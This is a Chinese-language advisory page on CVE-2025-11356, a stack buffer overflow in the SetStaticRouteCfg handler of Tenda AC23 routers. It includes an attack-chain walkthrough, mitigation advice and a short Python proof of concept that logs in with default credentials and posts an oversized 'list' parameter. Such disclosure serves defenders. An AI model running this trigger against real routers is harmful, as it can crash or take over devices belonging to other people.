IPBUF安全漏洞报告
English
CVE-2025-11356 CVSS 8.8 高危

CVE-2025-11356:Tenda AC23 SetStaticRouteCfg缓冲区溢出漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11356
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC23

相关标签

缓冲区溢出TendaAC23路由器sscanf远程代码执行SetStaticRouteCfgIoT安全高危漏洞CVE-2025

漏洞概述

CVE-2025-11356是Tenda AC23路由器(版本16.03.07.52及以下)中存在的一个高危缓冲区溢出漏洞。该漏洞位于路由器的/goform/SetStaticRouteCfg接口的sscanf函数中,攻击者可以通过精心构造的list参数触发缓冲区溢出。由于该漏洞可以通过网络远程利用,且无需用户交互,同时对机密性、完整性和可用性均产生高影响,其CVSS评分达到8.8分,属于高危级别漏洞。Tenda AC23是一款广泛应用于家庭和小型办公环境的双频千兆无线路由器,该漏洞的存在使得攻击者可以在获得低权限认证后远程执行任意代码或导致设备拒绝服务,严重威胁网络基础设施的安全。漏洞细节和利用代码已被公开披露,进一步增加了被恶意利用的风险。

技术细节

该漏洞的核心问题在于Tenda AC23路由器固件中/goform/SetStaticRouteCfg处理逻辑对用户输入的list参数使用sscanf函数进行解析时,未对输入数据的长度进行充分校验。sscanf是C标准库中的字符串格式化解析函数,当传入的字符串长度超过目标缓冲区大小时,会导致栈缓冲区溢出。攻击者通过向/goform/SetStaticRouteCfg端点发送包含超长list参数的HTTP请求,利用精心构造的payload覆盖栈上的返回地址或其他关键数据结构,从而实现远程代码执行。攻击者需要在PR:L(低权限)条件下利用,意味着需要基本的认证凭据,但不需要管理员权限。由于漏洞存在于网络可访问的接口中,攻击者可以从局域网内远程发起攻击。成功利用该漏洞可能导致:1)以路由器进程权限执行任意代码;2)获取路由器管理权限;3)植入持久化后门;4)拦截和篡改网络流量;5)将路由器纳入僵尸网络用于DDoS攻击。

攻击链分析

STEP 1
步骤1:侦察与认证
攻击者通过扫描发现目标网络中存在Tenda AC23路由器(默认管理地址192.168.0.1),并利用默认或弱口令(如admin/admin)登录路由器管理界面,获取低权限会话凭证。
STEP 2
步骤2:构造恶意Payload
攻击者针对/goform/SetStaticRouteCfg接口的list参数,构造超长字符串作为sscanf函数的输入数据,该数据将溢出目标缓冲区,覆盖栈上的返回地址。
STEP 3
步骤3:发送攻击请求
攻击者通过认证后的会话向/goform/SetStaticRouteCfg端点发送包含恶意list参数的HTTP POST请求,触发sscanf函数的缓冲区溢出。
STEP 4
步骤4:执行恶意代码
溢出成功后,攻击者控制程序执行流,跳转到预先布置的shellcode地址,实现远程代码执行,获取路由器完全控制权。
STEP 5
步骤5:持久化与横向移动
攻击者在路由器中植入后门固件或修改配置以维持持久访问,并可利用路由器作为跳板对内网其他设备发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11356 - Tenda AC23 SetStaticRouteCfg Buffer Overflow PoC # Exploits sscanf buffer overflow in /goform/SetStaticRouteCfg import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET}/login/Auth", data=login_data, timeout=10) # Step 2: Craft malicious payload for SetStaticRouteCfg # The 'list' parameter is passed to sscanf without bounds checking overflow_payload = "A" * 2048 # Overflow the stack buffer payload = { "list": overflow_payload } # Step 3: Send the exploit request to trigger buffer overflow url = f"{TARGET}/goform/SetStaticRouteCfg" response = session.post(url, data=payload, timeout=10) print(f"[*] Target: {TARGET}") print(f"[*] Payload size: {len(overflow_payload)} bytes") print(f"[*] Response status: {response.status_code}") print("[+] Exploit sent. Check device for crash or RCE.") if __name__ == "__main__": exploit()

影响范围

Tenda AC23 <= 16.03.07.52

防御指南

临时缓解措施
在官方补丁发布之前,建议用户采取以下临时缓解措施:1)修改路由器默认管理员密码,使用强密码策略;2)关闭路由器的远程管理功能,仅允许局域网内访问管理界面;3)在防火墙中限制对路由器管理端口(80/443)的外部访问;4)监控路由器异常行为和日志,及时发现可疑请求;5)如非必要,将受影响设备断网隔离,等待固件更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表